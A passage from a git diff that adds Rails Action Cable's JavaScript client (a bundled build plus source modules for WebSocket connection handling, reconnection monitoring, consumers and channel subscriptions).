+      this.sendCommand(subscription, "unsubscribe");
+    }
+    return subscription;
+  }
+  reject(identifier) {
+    return this.findAll(identifier).map((subscription => {
+      this.forget(subscription);
+      this.notify(subscription, "rejected");
+      return subscription;
+    }));
+  }
+  forget(subscription) {
+    this.guarantor.forget(subscription);
+    this.subscriptions = this.subscriptions.filter((s => s !== subscription));
+    return subscription;
+  }
+  findAll(identifier) {
+    return this.subscriptions.filter((s => s.identifier === identifier));
+  }
+  reload() {
+    return this.subscriptions.map((subscription => this.subscribe(subscription)));
+  }
+  notifyAll(callbackName, ...args) {
+    return this.subscriptions.map((subscription => this.notify(subscription, callbackName, ...args)));
+  }
+  notify(subscription, callbackName, ...args) {
+    let subscriptions;
+    if (typeof subscription === "string") {
+      subscriptions = this.findAll(subscription);
+    } else {
+      subscriptions = [ subscription ];
+    }
+    return subscriptions.map((subscription => typeof subscription[callbackName] === "function" ? subscription[callbackName](...args) : undefined));
+  }
+  subscribe(subscription) {
+    if (this.sendCommand(subscription, "subscribe")) {
+      this.guarantor.guarantee(subscription);
+    }
+  }
+  confirmSubscription(identifier) {
+    logger.log(`Subscription confirmed ${identifier}`);
+    this.findAll(identifier).map((subscription => this.guarantor.forget(subscription)));
+  }
+  sendCommand(subscription, command) {
+    const {identifier: identifier} = subscription;
+    return this.consumer.send({
+      command: command,
+      identifier: identifier
+    });
+  }
+}
+
+class Consumer {
+  constructor(url) {
+    this._url = url;
+    this.subscriptions = new Subscriptions(this);
+    this.connection = new Connection(this);
+    this.subprotocols = [];
+  }
+  get url() {
+    return createWebSocketURL(this._url);
+  }
+  send(data) {
+    return this.connection.send(data);
+  }
+  connect() {
+    return this.connection.open();
+  }
+  disconnect() {
+    return this.connection.close({
+      allowReconnect: false
+    });
+  }
+  ensureActiveConnection() {
+    if (!this.connection.isActive()) {
+      return this.connection.open();
+    }
+  }
+  addSubProtocol(subprotocol) {
+    this.subprotocols = [ ...this.subprotocols, subprotocol ];
+  }
+}
+
+function createWebSocketURL(url) {
+  if (typeof url === "function") {
+    url = url();
+  }
+  if (url && !/^wss?:/i.test(url)) {
+    const a = document.createElement("a");
+    a.href = url;
+    a.href = a.href;
+    a.protocol = a.protocol.replace("http", "ws");
+    return a.href;
+  } else {
+    return url;
+  }
+}
+
+function createConsumer(url = getConfig("url") || INTERNAL.default_mount_path) {
+  return new Consumer(url);
+}
+
+function getConfig(name) {
+  const element = document.head.querySelector(`meta[name='action-cable-${name}']`);
+  if (element) {
+    return element.getAttribute("content");
+  }
+}
+
+export { Connection, ConnectionMonitor, Consumer, INTERNAL, Subscription, SubscriptionGuarantor, Subscriptions, adapters, createConsumer, createWebSocketURL, getConfig, logger };
diff --git a/actioncable/app/assets/javascripts/actioncable.js b/actioncable/app/assets/javascripts/actioncable.js
new file mode 100644
index 0000000000000..5fc994339fb36
--- /dev/null
+++ b/actioncable/app/assets/javascripts/actioncable.js
@@ -0,0 +1,510 @@
+(function(global, factory) {
+  typeof exports === "object" && typeof module !== "undefined" ? factory(exports) : typeof define === "function" && define.amd ? define([ "exports" ], factory) : (global = typeof globalThis !== "undefined" ? globalThis : global || self, 
+  factory(global.ActionCable = {}));
+})(this, (function(exports) {
+  "use strict";
+  var adapters = {
+    logger: typeof console !== "undefined" ? console : undefined,
+    WebSocket: typeof WebSocket !== "undefined" ? WebSocket : undefined
+  };
+  var logger = {
+    log(...messages) {
+      if (this.enabled) {
+        messages.push(Date.now());
+        adapters.logger.log("[ActionCable]", ...messages);
+      }
+    }
+  };
+  const now = () => (new Date).getTime();
+  const secondsSince = time => (now() - time) / 1e3;
+  class ConnectionMonitor {
+    constructor(connection) {
+      this.visibilityDidChange = this.visibilityDidChange.bind(this);
+      this.connection = connection;
+      this.reconnectAttempts = 0;
+    }
+    start() {
+      if (!this.isRunning()) {
+        this.startedAt = now();
+        delete this.stoppedAt;
+        this.startPolling();
+        addEventListener("visibilitychange", this.visibilityDidChange);
+        logger.log(`ConnectionMonitor started. stale threshold = ${this.constructor.staleThreshold} s`);
+      }
+    }
+    stop() {
+      if (this.isRunning()) {
+        this.stoppedAt = now();
+        this.stopPolling();
+        removeEventListener("visibilitychange", this.visibilityDidChange);
+        logger.log("ConnectionMonitor stopped");
+      }
+    }
+    isRunning() {
+      return this.startedAt && !this.stoppedAt;
+    }
+    recordMessage() {
+      this.pingedAt = now();
+    }
+    recordConnect() {
+      this.reconnectAttempts = 0;
+      delete this.disconnectedAt;
+      logger.log("ConnectionMonitor recorded connect");
+    }
+    recordDisconnect() {
+      this.disconnectedAt = now();
+      logger.log("ConnectionMonitor recorded disconnect");
+    }
+    startPolling() {
+      this.stopPolling();
+      this.poll();
+    }
+    stopPolling() {
+      clearTimeout(this.pollTimeout);
+    }
+    poll() {
+      this.pollTimeout = setTimeout((() => {
+        this.reconnectIfStale();
+        this.poll();
+      }), this.getPollInterval());
+    }
+    getPollInterval() {
+      const {staleThreshold: staleThreshold, reconnectionBackoffRate: reconnectionBackoffRate} = this.constructor;
+      const backoff = Math.pow(1 + reconnectionBackoffRate, Math.min(this.reconnectAttempts, 10));
+      const jitterMax = this.reconnectAttempts === 0 ? 1 : reconnectionBackoffRate;
+      const jitter = jitterMax * Math.random();
+      return staleThreshold * 1e3 * backoff * (1 + jitter);
+    }
+    reconnectIfStale() {
+      if (this.connectionIsStale()) {
+        logger.log(`ConnectionMonitor detected stale connection. reconnectAttempts = ${this.reconnectAttempts}, time stale = ${secondsSince(this.refreshedAt)} s, stale threshold = ${this.constructor.staleThreshold} s`);
+        this.reconnectAttempts++;
+        if (this.disconnectedRecently()) {
+          logger.log(`ConnectionMonitor skipping reopening recent disconnect. time disconnected = ${secondsSince(this.disconnectedAt)} s`);
+        } else {
+          logger.log("ConnectionMonitor reopening");
+          this.connection.reopen();
+        }
+      }
+    }
+    get refreshedAt() {
+      return this.pingedAt ? this.pingedAt : this.startedAt;
+    }
+    connectionIsStale() {
+      return secondsSince(this.refreshedAt) > this.constructor.staleThreshold;
+    }
+    disconnectedRecently() {
+      return this.disconnectedAt && secondsSince(this.disconnectedAt) < this.constructor.staleThreshold;
+    }
+    visibilityDidChange() {
+      if (document.visibilityState === "visible") {
+        setTimeout((() => {
+          if (this.connectionIsStale() || !this.connection.isOpen()) {
+            logger.log(`ConnectionMonitor reopening stale connection on visibilitychange. visibilityState = ${document.visibilityState}`);
+            this.connection.reopen();
+          }
+        }), 200);
+      }
+    }
+  }
+  ConnectionMonitor.staleThreshold = 6;
+  ConnectionMonitor.reconnectionBackoffRate = .15;
+  var INTERNAL = {
+    message_types: {
+      welcome: "welcome",
+      disconnect: "disconnect",
+      ping: "ping",
+      confirmation: "confirm_subscription",
+      rejection: "reject_subscription"
+    },
+    disconnect_reasons: {
+      unauthorized: "unauthorized",
+      invalid_request: "invalid_request",
+      server_restart: "server_restart",
+      remote: "remote"
+    },
+    default_mount_path: "/cable",
+    protocols: [ "actioncable-v1-json", "actioncable-unsupported" ]
+  };
+  const {message_types: message_types, protocols: protocols} = INTERNAL;
+  const supportedProtocols = protocols.slice(0, protocols.length - 1);
+  const indexOf = [].indexOf;
+  class Connection {
+    constructor(consumer) {
+      this.open = this.open.bind(this);
+      this.consumer = consumer;
+      this.subscriptions = this.consumer.subscriptions;
+      this.monitor = new ConnectionMonitor(this);
+      this.disconnected = true;
+    }
+    send(data) {
+      if (this.isOpen()) {
+        this.webSocket.send(JSON.stringify(data));
+        return true;
+      } else {
+        return false;
+      }
+    }
+    open() {
+      if (this.isActive()) {
+        logger.log(`Attempted to open WebSocket, but existing socket is ${this.getState()}`);
+        return false;
+      } else {
+        const socketProtocols = [ ...protocols, ...this.consumer.subprotocols || [] ];
+        logger.log(`Opening WebSocket, current state is ${this.getState()}, subprotocols: ${socketProtocols}`);
+        if (this.webSocket) {
+          this.uninstallEventHandlers();
+        }
+        this.webSocket = new adapters.WebSocket(this.consumer.url, socketProtocols);
+        this.installEventHandlers();
+        this.monitor.start();
+        return true;
+      }
+    }
+    close({allowReconnect: allowReconnect} = {
+      allowReconnect: true
+    }) {
+      if (!allowReconnect) {
+        this.monitor.stop();
+      }
+      if (this.isOpen()) {
+        return this.webSocket.close();
+      }
+    }
+    reopen() {
+      logger.log(`Reopening WebSocket, current state is ${this.getState()}`);
+      if (this.isActive()) {
+        try {
+          return this.close();
+        } catch (error) {
+          logger.log("Failed to reopen WebSocket", error);
+        } finally {
+          logger.log(`Reopening WebSocket in ${this.constructor.reopenDelay}ms`);
+          setTimeout(this.open, this.constructor.reopenDelay);
+        }
+      } else {
+        return this.open();
+      }
+    }
+    getProtocol() {
+      if (this.webSocket) {
+        return this.webSocket.protocol;
+      }
+    }
+    isOpen() {
+      return this.isState("open");
+    }
+    isActive() {
+      return this.isState("open", "connecting");
+    }
+    triedToReconnect() {
+      return this.monitor.reconnectAttempts > 0;
+    }
+    isProtocolSupported() {
+      return indexOf.call(supportedProtocols, this.getProtocol()) >= 0;
+    }
+    isState(...states) {
+      return indexOf.call(states, this.getState()) >= 0;
+    }
+    getState() {
+      if (this.webSocket) {
+        for (let state in adapters.WebSocket) {
+          if (adapters.WebSocket[state] === this.webSocket.readyState) {
+            return state.toLowerCase();
+          }
+        }
+      }
+      return null;
+    }
+    installEventHandlers() {
+      for (let eventName in this.events) {
+        const handler = this.events[eventName].bind(this);
+        this.webSocket[`on${eventName}`] = handler;
+      }
+    }
+    uninstallEventHandlers() {
+      for (let eventName in this.events) {
+        this.webSocket[`on${eventName}`] = function() {};
+      }
+    }
+  }
+  Connection.reopenDelay = 500;
+  Connection.prototype.events = {
+    message(event) {
+      if (!this.isProtocolSupported()) {
+        return;
+      }
+      const {identifier: identifier, message: message, reason: reason, reconnect: reconnect, type: type} = JSON.parse(event.data);
+      this.monitor.recordMessage();
+      switch (type) {
+       case message_types.welcome:
+        if (this.triedToReconnect()) {
+          this.reconnectAttempted = true;
+        }
+        this.monitor.recordConnect();
+        return this.subscriptions.reload();
+
+       case message_types.disconnect:
+        logger.log(`Disconnecting. Reason: ${reason}`);
+        return this.close({
+          allowReconnect: reconnect
+        });
+
+       case message_types.ping:
+        return null;
+
+       case message_types.confirmation:
+        this.subscriptions.confirmSubscription(identifier);
+        if (this.reconnectAttempted) {
+          this.reconnectAttempted = false;
+          return this.subscriptions.notify(identifier, "connected", {
+            reconnected: true
+          });
+        } else {
+          return this.subscriptions.notify(identifier, "connected", {
+            reconnected: false
+          });
+        }
+
+       case message_types.rejection:
+        return this.subscriptions.reject(identifier);
+
+       default:
+        return this.subscriptions.notify(identifier, "received", message);
+      }
+    },
+    open() {
+      logger.log(`WebSocket onopen event, using '${this.getProtocol()}' subprotocol`);
+      this.disconnected = false;
+      if (!this.isProtocolSupported()) {
+        logger.log("Protocol is unsupported. Stopping monitor and disconnecting.");
+        return this.close({
+          allowReconnect: false
+        });
+      }
+    },
+    close(event) {
+      logger.log("WebSocket onclose event");
+      if (this.disconnected) {
+        return;
+      }
+      this.disconnected = true;
+      this.monitor.recordDisconnect();
+      return this.subscriptions.notifyAll("disconnected", {
+        willAttemptReconnect: this.monitor.isRunning()
+      });
+    },
+    error() {
+      logger.log("WebSocket onerror event");
+    }
+  };
+  const extend = function(object, properties) {
+    if (properties != null) {
+      for (let key in properties) {
+        const value = properties[key];
+        object[key] = value;
+      }
+    }
+    return object;
+  };
+  class Subscription {
+    constructor(consumer, params = {}, mixin) {
+      this.consumer = consumer;
+      this.identifier = JSON.stringify(params);
+      extend(this, mixin);
+    }
+    perform(action, data = {}) {
+      data.action = action;
+      return this.send(data);
+    }
+    send(data) {
+      return this.consumer.send({
+        command: "message",
+        identifier: this.identifier,
+        data: JSON.stringify(data)
+      });
+    }
+    unsubscribe() {
+      return this.consumer.subscriptions.remove(this);
+    }
+  }
+  class SubscriptionGuarantor {
+    constructor(subscriptions) {
+      this.subscriptions = subscriptions;
+      this.pendingSubscriptions = [];
+    }
+    guarantee(subscription) {
+      if (this.pendingSubscriptions.indexOf(subscription) == -1) {
+        logger.log(`SubscriptionGuarantor guaranteeing ${subscription.identifier}`);
+        this.pendingSubscriptions.push(subscription);
+      } else {
+        logger.log(`SubscriptionGuarantor already guaranteeing ${subscription.identifier}`);
+      }
+      this.startGuaranteeing();
+    }
+    forget(subscription) {
+      logger.log(`SubscriptionGuarantor forgetting ${subscription.identifier}`);
+      this.pendingSubscriptions = this.pendingSubscriptions.filter((s => s !== subscription));
+    }
+    startGuaranteeing() {
+      this.stopGuaranteeing();
+      this.retrySubscribing();
+    }
+    stopGuaranteeing() {
+      clearTimeout(this.retryTimeout);
+    }
+    retrySubscribing() {
+      this.retryTimeout = setTimeout((() => {
+        if (this.subscriptions && typeof this.subscriptions.subscribe === "function") {
+          this.pendingSubscriptions.map((subscription => {
+            logger.log(`SubscriptionGuarantor resubscribing ${subscription.identifier}`);
+            this.subscriptions.subscribe(subscription);
+          }));
+        }
+      }), 500);
+    }
+  }
+  class Subscriptions {
+    constructor(consumer) {
+      this.consumer = consumer;
+      this.guarantor = new SubscriptionGuarantor(this);
+      this.subscriptions = [];
+    }
+    create(channelName, mixin) {
+      const channel = channelName;
+      const params = typeof channel === "object" ? channel : {
+        channel: channel
+      };
+      const subscription = new Subscription(this.consumer, params, mixin);
+      return this.add(subscription);
+    }
+    add(subscription) {
+      this.subscriptions.push(subscription);
+      this.consumer.ensureActiveConnection();
+      this.notify(subscription, "initialized");
+      this.subscribe(subscription);
+      return subscription;
+    }
+    remove(subscription) {
+      this.forget(subscription);
+      if (!this.findAll(subscription.identifier).length) {
+        this.sendCommand(subscription, "unsubscribe");
+      }
+      return subscription;
+    }
+    reject(identifier) {
+      return this.findAll(identifier).map((subscription => {
+        this.forget(subscription);
+        this.notify(subscription, "rejected");
+        return subscription;
+      }));
+    }
+    forget(subscription) {
+      this.guarantor.forget(subscription);
+      this.subscriptions = this.subscriptions.filter((s => s !== subscription));
+      return subscription;
+    }
+    findAll(identifier) {
+      return this.subscriptions.filter((s => s.identifier === identifier));
+    }
+    reload() {
+      return this.subscriptions.map((subscription => this.subscribe(subscription)));
+    }
+    notifyAll(callbackName, ...args) {
+      return this.subscriptions.map((subscription => this.notify(subscription, callbackName, ...args)));
+    }
+    notify(subscription, callbackName, ...args) {
+      let subscriptions;
+      if (typeof subscription === "string") {
+        subscriptions = this.findAll(subscription);
+      } else {
+        subscriptions = [ subscription ];
+      }
+      return subscriptions.map((subscription => typeof subscription[callbackName] === "function" ? subscription[callbackName](...args) : undefined));
+    }
+    subscribe(subscription) {
+      if (this.sendCommand(subscription, "subscribe")) {
+        this.guarantor.guarantee(subscription);
+      }
+    }
+    confirmSubscription(identifier) {
+      logger.log(`Subscription confirmed ${identifier}`);
+      this.findAll(identifier).map((subscription => this.guarantor.forget(subscription)));
+    }
+    sendCommand(subscription, command) {
+      const {identifier: identifier} = subscription;
+      return this.consumer.send({
+        command: command,
+        identifier: identifier
+      });
+    }
+  }
+  class Consumer {
+    constructor(url) {
+      this._url = url;
+      this.subscriptions = new Subscriptions(this);
+      this.connection = new Connection(this);
+      this.subprotocols = [];
+    }
+    get url() {
+      return createWebSocketURL(this._url);
+    }
+    send(data) {
+      return this.connection.send(data);
+    }
+    connect() {
+      return this.connection.open();
+    }
+    disconnect() {
+      return this.connection.close({
+        allowReconnect: false
+      });
+    }
+    ensureActiveConnection() {
+      if (!this.connection.isActive()) {
+        return this.connection.open();
+      }
+    }
+    addSubProtocol(subprotocol) {
+      this.subprotocols = [ ...this.subprotocols, subprotocol ];
+    }
+  }
+  function createWebSocketURL(url) {
+    if (typeof url === "function") {
+      url = url();
+    }
+    if (url && !/^wss?:/i.test(url)) {
+      const a = document.createElement("a");
+      a.href = url;
+      a.href = a.href;
+      a.protocol = a.protocol.replace("http", "ws");
+      return a.href;
+    } else {
+      return url;
+    }
+  }
+  function createConsumer(url = getConfig("url") || INTERNAL.default_mount_path) {
+    return new Consumer(url);
+  }
+  function getConfig(name) {
+    const element = document.head.querySelector(`meta[name='action-cable-${name}']`);
+    if (element) {
+      return element.getAttribute("content");
+    }
+  }
+  exports.Connection = Connection;
+  exports.ConnectionMonitor = ConnectionMonitor;
+  exports.Consumer = Consumer;
+  exports.INTERNAL = INTERNAL;
+  exports.Subscription = Subscription;
+  exports.SubscriptionGuarantor = SubscriptionGuarantor;
+  exports.Subscriptions = Subscriptions;
+  exports.adapters = adapters;
+  exports.createConsumer = createConsumer;
+  exports.createWebSocketURL = createWebSocketURL;
+  exports.getConfig = getConfig;
+  exports.logger = logger;
+  Object.defineProperty(exports, "__esModule", {
+    value: true
+  });
+}));
diff --git a/actioncable/app/javascript/action_cable/adapters.js b/actioncable/app/javascript/action_cable/adapters.js
new file mode 100644
index 0000000000000..f9759de9a05dd
--- /dev/null
+++ b/actioncable/app/javascript/action_cable/adapters.js
@@ -0,0 +1,4 @@
+export default {
+  logger: typeof console !== "undefined" ? console : undefined,
+  WebSocket: typeof WebSocket !== "undefined" ? WebSocket : undefined,
+}
diff --git a/actioncable/app/javascript/action_cable/connection.js b/actioncable/app/javascript/action_cable/connection.js
new file mode 100644
index 0000000000000..fa32cfd5a675f
--- /dev/null
+++ b/actioncable/app/javascript/action_cable/connection.js
@@ -0,0 +1,181 @@
+import adapters from "./adapters"
+import ConnectionMonitor from "./connection_monitor"
+import INTERNAL from "./internal"
+import logger from "./logger"
+
+// Encapsulate the cable connection held by the consumer. This is an internal class not intended for direct user manipulation.
+
+const {message_types, protocols} = INTERNAL
+const supportedProtocols = protocols.slice(0, protocols.length - 1)
+
+const indexOf = [].indexOf
+
+class Connection {
+  constructor(consumer) {
+    this.open = this.open.bind(this)
+    this.consumer = consumer
+    this.subscriptions = this.consumer.subscriptions
+    this.monitor = new ConnectionMonitor(this)
+    this.disconnected = true
+  }
+
+  send(data) {
+    if (this.isOpen()) {
+      this.webSocket.send(JSON.stringify(data))
+      return true
+    } else {
+      return false
+    }
+  }
+
+  open() {
+    if (this.isActive()) {
+      logger.log(`Attempted to open WebSocket, but existing socket is ${this.getState()}`)
+      return false
+    } else {
+      const socketProtocols = [...protocols, ...this.consumer.subprotocols || []]
+      logger.log(`Opening WebSocket, current state is ${this.getState()}, subprotocols: ${socketProtocols}`)
+      if (this.webSocket) { this.uninstallEventHandlers() }
+      this.webSocket = new adapters.WebSocket(this.consumer.url, socketProtocols)
+      this.installEventHandlers()
+      this.monitor.start()
+      return true
+    }
+  }
+
+  close({allowReconnect} = {allowReconnect: true}) {
+    if (!allowReconnect) { this.monitor.stop() }
+    // Avoid closing websockets in a "connecting" state due to Safari 15.1+ bug. See: https://github.com/rails/rails/issues/43835#issuecomment-1002288478
+    if (this.isOpen()) {
+      return this.webSocket.close()
+    }
+  }
+
+  reopen() {
+    logger.log(`Reopening WebSocket, current state is ${this.getState()}`)
+    if (this.isActive()) {
+      try {
+        return this.close()
+      } catch (error) {
+        logger.log("Failed to reopen WebSocket", error)
+      }
+      finally {
+        logger.log(`Reopening WebSocket in ${this.constructor.reopenDelay}ms`)
+        setTimeout(this.open, this.constructor.reopenDelay)
+      }
+    } else {
+      return this.open()
+    }
+  }
+
+  getProtocol() {
+    if (this.webSocket) {
+      return this.webSocket.protocol
+    }
+  }
+
+  isOpen() {
+    return this.isState("open")
+  }
+
+  isActive() {
+    return this.isState("open", "connecting")
+  }
+
+  triedToReconnect() {
+    return this.monitor.reconnectAttempts > 0
+  }
+
+  // Private
+
+  isProtocolSupported() {
+    return indexOf.call(supportedProtocols, this.getProtocol()) >= 0
+  }
+
+  isState(...states) {
+    return indexOf.call(states, this.getState()) >= 0
+  }
+
+  getState() {
+    if (this.webSocket) {
+      for (let state in adapters.WebSocket) {
+        if (adapters.WebSocket[state] === this.webSocket.readyState) {
+          return state.toLowerCase()
+        }
+      }
+    }
+    return null
+  }
+
+  installEventHandlers() {
+    for (let eventName in this.events) {
+      const handler = this.events[eventName].bind(this)
+      this.webSocket[`on${eventName}`] = handler
+    }
+  }
+
+  uninstallEventHandlers() {
+    for (let eventName in this.events) {
+      this.webSocket[`on${eventName}`] = function() {}
+    }
+  }
+
+}
+
+Connection.reopenDelay = 500
+
+Connection.prototype.events = {
+  message(event) {
+    if (!this.isProtocolSupported()) { return }
+    const {identifier, message, reason, reconnect, type} = JSON.parse(event.data)
+    this.monitor.recordMessage()
+    switch (type) {
+      case message_types.welcome:
+        if (this.triedToReconnect()) {
+          this.reconnectAttempted = true
+        }
+        this.monitor.recordConnect()
+        return this.subscriptions.reload()
+      case message_types.disconnect:
+        logger.log(`Disconnecting. Reason: ${reason}`)
+        return this.close({allowReconnect: reconnect})
+      case message_types.ping:
+        return null
+      case message_types.confirmation:
+        this.subscriptions.confirmSubscription(identifier)
+        if (this.reconnectAttempted) {
+          this.reconnectAttempted = false
+          return this.subscriptions.notify(identifier, "connected", {reconnected: true})
+        } else {
+          return this.subscriptions.notify(identifier, "connected", {reconnected: false})
+        }
+      case message_types.rejection:
+        return this.subscriptions.reject(identifier)
+      default:
+        return this.subscriptions.notify(identifier, "received", message)
+    }
+  },
+
+  open() {
+    logger.log(`WebSocket onopen event, using '${this.getProtocol()}' subprotocol`)
+    this.disconnected = false
+    if (!this.isProtocolSupported()) {
+      logger.log("Protocol is unsupported. Stopping monitor and disconnecting.")
+      return this.close({allowReconnect: false})
+    }
+  },
+
+  close(event) {
+    logger.log("WebSocket onclose event")
+    if (this.disconnected) { return }
+    this.disconnected = true
+    this.monitor.recordDisconnect()
+    return this.subscriptions.notifyAll("disconnected", {willAttemptReconnect: this.monitor.isRunning()})
+  },
+
+  error() {
+    logger.log("WebSocket onerror event")
+  }
+}
+
+export default Connection
diff --git a/actioncable/app/javascript/action_cable/connection_monitor.js b/actioncable/app/javascript/action_cable/connection_monitor.js
new file mode 100644
index 0000000000000..986d1408e0ba2
--- /dev/null
+++ b/actioncable/app/javascript/action_cable/connection_monitor.js
@@ -0,0 +1,124 @@
+import logger from "./logger"
+
+// Responsible for ensuring the cable connection is in good health by validating the heartbeat pings sent from the server, and attempting
+// revival reconnections if things go astray. Internal class, not intended for direct user manipulation.
+
+const now = () => new Date().getTime()
+
+const secondsSince = time => (now() - time) / 1000
+
+class ConnectionMonitor {
+  constructor(connection) {
+    this.visibilityDidChange = this.visibilityDidChange.bind(this)
+    this.connection = connection
+    this.reconnectAttempts = 0
+  }
+
+  start() {
+    if (!this.isRunning()) {
+      this.startedAt = now()
+      delete this.stoppedAt
+      this.startPolling()
+      addEventListener("visibilitychange", this.visibilityDidChange)
+      logger.log(`ConnectionMonitor started. stale threshold = ${this.constructor.staleThreshold} s`)
+    }
+  }
+
+  stop() {
+    if (this.isRunning()) {
+      this.stoppedAt = now()
+      this.stopPolling()
+      removeEventListener("visibilitychange", this.visibilityDidChange)
+      logger.log("ConnectionMonitor stopped")
+    }
+  }
+
+  isRunning() {
+    return this.startedAt && !this.stoppedAt
+  }
+
+  recordMessage() {
+    this.pingedAt = now()
+  }
+
+  recordConnect() {
+    this.reconnectAttempts = 0
+    delete this.disconnectedAt
+    logger.log("ConnectionMonitor recorded connect")
+  }
+
+  recordDisconnect() {
+    this.disconnectedAt = now()
+    logger.log("ConnectionMonitor recorded disconnect")
+  }
+
+  // Private
+
+  startPolling() {
+    this.stopPolling()
+    this.poll()
+  }
+
+  stopPolling() {
+    clearTimeout(this.pollTimeout)
+  }
+
+  poll() {
+    this.pollTimeout = setTimeout(() => {
+      this.reconnectIfStale()
+      this.poll()
+    }
+    , this.getPollInterval())
+  }
+
+  getPollInterval() {
+    const { staleThreshold, reconnectionBackoffRate } = this.constructor
+    const backoff = Math.pow(1 + reconnectionBackoffRate, Math.min(this.reconnectAttempts, 10))
+    const jitterMax = this.reconnectAttempts === 0 ? 1.0 : reconnectionBackoffRate
+    const jitter = jitterMax * Math.random()
+    return staleThreshold * 1000 * backoff * (1 + jitter)
+  }
+
+  reconnectIfStale() {
+    if (this.connectionIsStale()) {
+      logger.log(`ConnectionMonitor detected stale connection. reconnectAttempts = ${this.reconnectAttempts}, time stale = ${secondsSince(this.refreshedAt)} s, stale threshold = ${this.constructor.staleThreshold} s`)
+      this.reconnectAttempts++
+      if (this.disconnectedRecently()) {
+        logger.log(`ConnectionMonitor skipping reopening recent disconnect. time disconnected = ${secondsSince(this.disconnectedAt)} s`)
+      } else {
+        logger.log("ConnectionMonitor reopening")
+        this.connection.reopen()
+      }
+    }
+  }
+
+  get refreshedAt() {
+    return this.pingedAt ? this.pingedAt : this.startedAt
+  }
+
+  connectionIsStale() {
+    return secondsSince(this.refreshedAt) > this.constructor.staleThreshold
+  }
+
+  disconnectedRecently() {
+    return this.disconnectedAt && (secondsSince(this.disconnectedAt) < this.constructor.staleThreshold)
+  }
+
+  visibilityDidChange() {
+    if (document.visibilityState === "visible") {
+      setTimeout(() => {
+        if (this.connectionIsStale() || !this.connection.isOpen()) {
+          logger.log(`ConnectionMonitor reopening stale connection on visibilitychange. visibilityState = ${document.visibilityState}`)
+          this.connection.reopen()
+        }
+      }
+      , 200)
+    }
+  }
+
+}
+
+ConnectionMonitor.staleThreshold = 6 // Server::Connections::BEAT_INTERVAL * 2 (missed two pings)
+ConnectionMonitor.reconnectionBackoffRate = 0.15
+
+export default ConnectionMonitor
diff --git a/actioncable/app/javascript/action_cable/consumer.js b/actioncable/app/javascript/action_cable/consumer.js
new file mode 100644
index 0000000000000..71ef125a45537
--- /dev/null
+++ b/actioncable/app/javascript/action_cable/consumer.js
@@ -0,0 +1,80 @@
+import Connection from "./connection"
+import Subscriptions from "./subscriptions"
+
+// The ActionCable.Consumer establishes the connection to a server-side Ruby Connection object. Once established,
+// the ActionCable.ConnectionMonitor will ensure that its properly maintained through heartbeats and checking for stale updates.
+// The Consumer instance is also the gateway to establishing subscriptions to desired channels through the #createSubscription
+// method.
+//
+// The following example shows how this can be set up:
+//
+//   App = {}
+//   App.cable = ActionCable.createConsumer("ws://example.com/accounts/1")
+//   App.appearance = App.cable.subscriptions.create("AppearanceChannel")
+//
+// For more details on how you'd configure an actual channel subscription, see ActionCable.Subscription.
+//
+// When a consumer is created, it automatically connects with the server.
+//
+// To disconnect from the server, call
+//
+//   App.cable.disconnect()
+//
+// and to restart the connection:
+//
+//   App.cable.connect()
+//
+// Any channel subscriptions which existed prior to disconnecting will
+// automatically resubscribe.
+
+export default class Consumer {
+  constructor(url) {
+    this._url = url
+    this.subscriptions = new Subscriptions(this)
+    this.connection = new Connection(this)
+    this.subprotocols = []
+  }
+
+  get url() {
+    return createWebSocketURL(this._url)
+  }
+
+  send(data) {
+    return this.connection.send(data)
+  }
+
+  connect() {
+    return this.connection.open()
+  }
+
+  disconnect() {
+    return this.connection.close({allowReconnect: false})
+  }
+
+  ensureActiveConnection() {
+    if (!this.connection.isActive()) {
+      return this.connection.open()
+    }
+  }
+
+  addSubProtocol(subprotocol) {
+    this.subprotocols = [...this.subprotocols, subprotocol]
+  }
+}
+
+export function createWebSocketURL(url) {
+  if (typeof url === "function") {
+    url = url()
+  }
+
+  if (url && !/^wss?:/i.test(url)) {
+    const a = document.createElement("a")
+    a.href = url
+    // Fix populating Location properties in IE. Otherwise, protocol will be blank.
+    a.href = a.href // eslint-disable-line
+    a.protocol = a.protocol.replace("http", "ws")
+    return a.href
+  } else {
+    return url
+  }
+}
diff --git a/actioncable/app/javascript/action_cable/index.js b/actioncable/app/javascript/action_cable/index.js
new file mode 100644
index 0000000000000..62b904f5f7ef3
--- /dev/null
+++ b/actioncable/app/javascript/action_cable/index.js
@@ -0,0 +1,33 @@
+import adapters from "./adapters"
+import Connection from "./connection"
+import ConnectionMonitor from "./connection_monitor"
+import Consumer, { createWebSocketURL } from "./consumer"
+import INTERNAL from "./internal"
+import logger from "./logger"
+import Subscription from "./subscription"
+import SubscriptionGuarantor from "./subscription_guarantor"
+import Subscriptions from "./subscriptions"
+
+export {
+  Connection,
+  ConnectionMonitor,
+  Consumer,
+  INTERNAL,
+  Subscription,
+  Subscriptions,
+  SubscriptionGuarantor,
+  adapters,
+  createWebSocketURL,
+  logger,
+}
+
+export function createConsumer(url = getConfig("url") || INTERNAL.default_mount_path) {
+  return new Consumer(url)
+}
+
+export function getConfig(name) {
+  const element = document.head.querySelector(`meta[name='action-cable-${name}']`)
+  if (element) {
+    return element.getAttribute("content")
+  }
+}
diff --git a/actioncable/app/javascript/action_cable/index_with_name_deprecation.js b/actioncable/app/javascript/action_cable/index_with_name_deprecation.js
new file mode 100644
index 0000000000000..272ba7bec2221
--- /dev/null
+++ b/actioncable/app/javascript/action_cable/index_with_name_deprecation.js
@@ -0,0 +1,2 @@
+export * from "./index"
+console.log("DEPRECATION: action_cable.js has been renamed to actioncable.js – please update your reference before Rails 8")
diff --git a/actioncable/app/javascript/action_cable/internal.js b/actioncable/app/javascript/action_cable/internal.js
new file mode 100644
index 0000000000000..a007d6f471f7a
--- /dev/null
+++ b/actioncable/app/javascript/action_cable/internal.js
@@ -0,0 +1,20 @@
+export default {
+  "message_types": {
+    "welcome": "welcome",
+    "disconnect": "disconnect",
+    "ping": "ping",
+    "confirmation": "confirm_subscription",
+    "rejection": "reject_subscription"
+  },
+  "disconnect_reasons": {
+    "unauthorized": "unauthorized",
+    "invalid_request": "invalid_request",
+    "server_restart": "server_restart",
+    "remote": "remote"
+  },
+  "default_mount_path": "/cable",
+  "protocols": [
+    "actioncable-v1-json",
+    "actioncable-unsupported"
+  ]
+}
diff --git a/actioncable/app/javascript/action_cable/logger.js b/actioncable/app/javascript/action_cable/logger.js
new file mode 100644
index 0000000000000..c73f5bd542fc5
--- /dev/null
+++ b/actioncable/app/javascript/action_cable/logger.js
@@ -0,0 +1,22 @@
+import adapters from "./adapters"
+
+// The logger is disabled by default. You can enable it with:
+//
+//   ActionCable.logger.enabled = true
+//
